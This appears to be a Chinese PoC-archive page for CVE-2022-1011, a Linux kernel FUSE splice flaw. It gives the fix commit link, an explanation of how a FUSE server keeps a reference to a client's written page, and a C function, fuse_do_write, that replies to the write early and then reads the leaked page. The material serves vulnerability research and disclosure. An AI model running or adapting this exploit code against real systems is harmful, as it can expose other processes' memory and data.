关联漏洞
标题:Linux kernel 资源管理错误漏洞 (CVE-2022-1011)Description:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel FUSE filesystem存在资源管理错误漏洞,该漏洞源于本地用户可以利用此漏洞从 FUSE 文件系统中获得对某些数据的未经授权的访问,并因此也可能导致权限升级。
Description
这个漏洞感觉只能信息泄露?
介绍
# CVE-2022-1011
修复链接:https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=0c4bcfdecb1ac0967619ee7ff44871d93c08c909
该漏洞主要是由于漏洞的主要只由于splice的异步的特性,导致可以在用户文件系统进程中(服务端)保留服务请求的进程(客户端)的一段内存。文件系统进程在write关闭后仍然保持着对write源内存页的引用(文件系统进程只有读的权限,个人感觉危害不大:()。
核心的逻辑如下,当客户端的page放入pipe之后,先向客户端回复fuse的write请求让write结束,这时pipe中仍然保留write的src的page的引用,再write结束之后再读取src的内容。
```c
void fuse_do_write(fd)
{
fflush(stdout);
puts("-----------------------");
puts("[+] start do_write");
// splice read requset from pipe
puts("[+] create pipe");
int pfd[2], ret;
ret = pipe(pfd);
if (ret < 0)
fatal("pipe");
size_t bufsize = getpagesize() + 0x1000;
ret = splice(fd, NULL, pfd[1], NULL, bufsize, 0);
if (ret < 0)
fatal("splice");
// 通过splice读取头部;
struct fuse_in_header in;
ret = read(pfd[0], &in, sizeof(struct fuse_in_header));
if (ret < 0)
fatal("read head");
fuse_show_req_head(&in);
puts("[+] send reply finish write");//回复write请求
struct fuse_write_out outarg;
outarg.size = 1;
outarg.padding = 0;
printf("unique: %d\n", in.unique);
fuse_send_reply(fd, &outarg, sizeof(outarg), 0, in.unique);
// 阻塞等待子进程write结束
int t = 0;
do
{
fflush(stdout);
puts("[+] input 1 to contine, other to block");
scanf("%d", &t);
puts("[+] ...");
} while (t != 1);
struct fuse_write_in inarg;
struct fuse_bufvec bufv;
ret = read(pfd[0], &inarg, sizeof(struct fuse_write_in));
if (ret < 0)
fatal("read write in");
printf("[+] write in:\n");
printf("\tfh:\t%lld\n", inarg.fh);
printf("\toffset:\t%lld\n", inarg.offset);
printf("\tsize:\t%d\n", inarg.size);
printf("\twrite_flags:\t%d\n", inarg.write_flags);
printf("\tlock_owner:\t%llx\n", inarg.lock_owner);
printf("\tflags:\t%d\n", inarg.flags);
printf("\tpadding:\t%d\n", inarg.padding);
ret = read(pfd[0], &bufv, sizeof(bufv)); //客户端write结束以后再读取page
printf("bufv:\t%s\n", (char *)&bufv);
puts("[+] end do_write");
close(pfd[0]);
close(pfd[1]);
}
```
文件快照
[4.0K] /data/pocs/b987637403a7021d98fcebeb1ceec289ed81e13f
├── [1.0M] exp
├── [ 11K] exp.c
├── [ 12K] exp.h
├── [ 49] Makefile
└── [2.5K] README.md
0 directories, 5 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。